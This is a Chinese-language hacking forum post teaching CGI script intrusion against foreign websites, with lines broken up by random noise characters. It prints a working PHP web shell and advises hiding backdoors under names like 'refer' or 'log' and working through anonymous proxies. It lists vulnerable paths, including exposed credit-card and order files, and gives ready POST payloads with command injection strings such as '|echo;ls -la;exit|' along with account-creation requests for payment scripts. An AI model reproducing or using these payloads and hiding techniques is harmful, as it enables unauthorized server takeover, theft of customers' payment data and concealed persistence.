CGI 脚本入侵快速上手+脚本使用方法

admin

CGI 脚本入侵快速上手+脚本使用方法
; }" @" k6 l! {* H# T2 m3 V& r大家好 我是bboyhip  只是一名菜菜的exploiter
9 t6 M% k$ y# B. z; U: c很开心来到贵论坛
这里让我感觉 很有技术交流的感觉
我会长长来玩的
前言:
以下讲解针对欧美日本网站
當我們在做滲透分析的時候 方法有很多
$ U: t) x* Q. |# s8 t2 Z% @- [我门都知道 国外伺服器大多是linux 平台
4 ?! _) k8 C' u: m4 e5 X  v6 R所以有很多网站程序有6成都会使用cgi 脚本来管理
目录为/cgi-bin/

只是个人在实务上一些经验
7 m. U$ @9 |% V3 Q6 N写的不好 请多多见谅喔
2 _% ^9 T$ I  H在这里我简单分为几个部份一定要會的
) _# ^9 ]6 B& X讲解一下
9 j9 O( P' s( K2 K; `. A& ?让没有基础的人很容易上手
; o3 W3 @8 r2 g# F( y
2 S& `7 d% d- O- k以下内容跟帖回复才能看到
==============================

2 @3 V! L: C' g7 b5 W, [第1部份: 何谓Shell?
Shell的中文, 可称为 "壳".  Shell 是一个比较复杂的概念, 先看比较传统的解释:
A shell is the program which reads user input from the command line and executes actions based upon that input.
4 U# z; o1 t- c; @+ S5 z; `意思是, 通过应用程式(shell), 用户输入指令, 由系统执行该指令.

对於黑客来说, shell是後门, 是入侵/ 控制/ 浏览对方系统的程式/ 方法.  
% Z- P& C! k' v( h要自行建立一个shell是十分困难的, 因为要先找漏洞, 找到後, 利用该漏洞来写入档案/ 後门.  大家都知道, 有些漏洞只可加码, 有些可读档, 但可以写档的不多.  在数年前, 有一个十分流行及易用的漏洞addpasswd.cgi, 可以写後门, 但时至今日, 绝大部份的addpasswd.cgi已经被删除.
所以, 对於入门的exploiter来说, 先收集别人的後门, 多多练习, 然後再学习做自己的shell.

第2部份: Unix 指令
3 k, R5 Y2 J# m5 U  x以下是一些常见及重要的指令:
pwd: 显示当前目录, 即是後门/程式所在的位置
! m4 M/ Q& f. Y3 p8 V& M" y如 /home/www/site.com/cgi-bin/
ls: 列出档案 (-a 包含隐藏档; -l 包含详细资料).  
ls -al :详细列出档案资料(当前目录)
% R2 F( k' `! h0 \7 x  Y3 \: xls /: 列出根目录
0 C0 |/ o: S. \& d$ X$ lls /etc: 列出/etc的资料夹及档案
' c* [3 s  U+ a7 Tls ../ -al: 详细列出上一层的资料夹及档案
cat: 显示档案内容
cat .htpasswd: 显示 .htpasswd 这个档案的内容(当前目录)
cat /etc/passwd: 显示 /etc/passwd 这个档案的内容
who: 显示谁login 至系统
, n8 z0 K' L* u1 T; y& N3 d- Uman: 显示指令用法  
man ls: 显示ls这指令的用法  
mkdir 建立目录
rmdir 删除目录
$ ^) y3 h2 Q3 \7 j7 x1 T' o5 [mv 移动档案
rm 删除档案
+ A. `9 A6 v' g. |; z  j1 Q
第3部份: Shell的使用
例如:
http://site.com/refer.php
+ Y0 A, ]; {% L) E9 i! E这是我的後门, 原代码如下:
; X5 k! q5 _9 F* g( _<Form Action="#" Method="POST">
<Input type="text" name="cmd">
) i- [: ^! T, i6 G. q4 s<Input type="Submit">
' d* h& I8 S4 s2 a</Form>
4 h4 ]- {) O  |: P4 e<?php
, B$ B7 [# R4 Q1 ]) w$cmd = $_POST['cmd'];
$Output = shell_exec($cmd);
/ O! b2 E9 o' K7 ~echo $Output;
3 f: a$ P' c: B" @) h3 ?# g?>
1 Q3 I( L6 x* l) j8 q输入pwd, 可得到绝对路径:
/home/htdocs/users/jnesbitt/jnesbitt/nylonfantasies.com
4 ]/ R& x' h  ]9 N  Y( v/ I- a
第4部份: 注意事项
  ]3 R% O  T: ~5 B' r* {, g  \$ u- 使用匿名代理, 保障自己
6 r$ I( ^& `2 |8 @4 R7 ~- 不可恶意破坏, 或更改现有档案, 否则管理员发现了, 不但会删除後门, 可能会有追究行动
- 加後门前, 必须了解目标系统是否支援.  例如, cgi後门, 应放在cgi-bin; 有些系统可能不支援 php後门等.
- 加後门前 (如 index.php), 先检查是否已存在该档案名称, 以免覆盖原有档案, 造成破坏.
- 後门的名称, 不可使用hack, crack, exploit等字眼, 最好使用index, index1, log, login, refer, tmp, test, info等, 鱼目混珠,
不容易被发现.
1 k4 l( X1 u7 A: k/ Q; Z( \- 将後门放在比较隐闭的地方 (例如 /cgi-bin/内, 有很多cgi档案, 比较少php档案)
针对网站的渗透分析方法太多了
2 _" U9 G. U% x2 D+ z; i这篇文章的重点是cgi 脚本攻击
7 z$ y1 Z  \3 l4 I) Y所以我用简单的叙述形容
开始讲解脚本入侵过程:
* \6 H9 O7 V/ G" [! k" }& Z在这里提供一些方法思路让大家学习一下

1.一开始对一个网站进行cgi漏洞扫描
. N- M- m: w. w7 h4 S8 P我们需要的东西有
' G' w3 Y& r: X, G* x6 N0 M扫洞工具 如:triton..等等
* k+ G7 `) }, a' B( ]E表
如
* z5 o8 @( P8 {. {/cgi-bin/add-passwd.cgi
$ [+ ^: ^) |# m+ n/ X+ W, J/WebShop/templates/cc.txt
9 J( z/ ?% `4 R/ R- @) P; g: i/Admin_files/order.log
/orders/mountain.cfg
; B+ A' \: p# B. X- B/cgi-sys/cart.pl
/scripts/cart.pl
: m, p. I) x: `" B' ^$ J; g+ y2 z  @/htbin/cart.pl
E表来源可以是网路收寻或是自己的0 day

3 }9 Z8 h+ X3 N7 X2.怎样确认扫到的洞 是真的还假的?
举例: target: http://www.site.com/cgi-bin/add-passwd.cgi
9 d8 l4 ?. y) {5 `' u/ o2 m9 J一般都是在IE里先看一下的,记住这个返回码哦
; B/ {! u- l* Z' j1 W+ W/ OERROR:This script should be referenced with a METHOD of POST.
没有返回一定是假的
3.重来来了 很多人都会问我
' D8 W! h7 o! h& ?8 L* a他扫到很多洞 但是不会使用
. N6 y! N* H# K  A: x因为这些漏洞 使用的语法 称为post
我们要找post 的方法很多
- f2 ?. g( x# ~$ l& @: @$ a8 L可以是源代码分析 找出介质
' u/ g0 r! N) `或是用抓包工具 抓他的语法...等等
$ ?; g; V0 g! m+ S
1 ~& Y! s) Y. N: {以下我提供10个 cgi 洞以及使用方法post
9 N) \! J: P9 W让大家可以针对网站去做扫描  
: [5 }% S% i% r' h7 [- v8 _; w8 Y5 i/index.cgi
wei=ren&gen=command
/passmaster.cgi
6 a8 y6 J  y9 z3 J& J7 c( rAction=Add&Username=Username&Password=Password
/accountcreate.cgi
, @0 `' R5 C7 b' N! O' Eusername=username&password=password&ref1=|echo;ls|
+ q1 Y( |* B- ~. _- b/form.cgi
9 t7 L% R" j5 f, Pname=xxxx&email=email&subject=xxxx&response=|echo;ls|
$ c+ ~) q# j( Q7 t1 k- R2 Q/addusr.pl
3 Y% A' w. X) D5 z+ @$ |/cgi-bin/EuroDebit/addusr.pl
/ g6 v2 k6 E# \" n$ {user=username&pass=Password&confirm=Password
/ccbill-local.asp
' o" B) E: i3 d5 upost_values=username:password
' e* C) R3 R+ g/count.cgi
0 W( ?9 ], f& T9 k  P- e8 e, i. d7 b) _pinfile=|echo;ls -la;exit|
/recon.cgi
/recon.cgi?search
searchoption=1&searchfor=|echo;ls -al;exit|
6 S7 p- J4 X7 `  c/verotelrum.pl
, @  ?9 K" S5 |- H6 X: Rvercode=username:password:dseegsow:add:amount<&30>
/af.cgi_browser_out=|echo;ls -la;exit;|
, ~8 E4 b! e* c( ~/ U; N* \6 G: ?
& D8 E) b2 o# U! p6 W7 ~今天就讲到这  感谢大家支持
+ q8 }! O7 U! ?6 b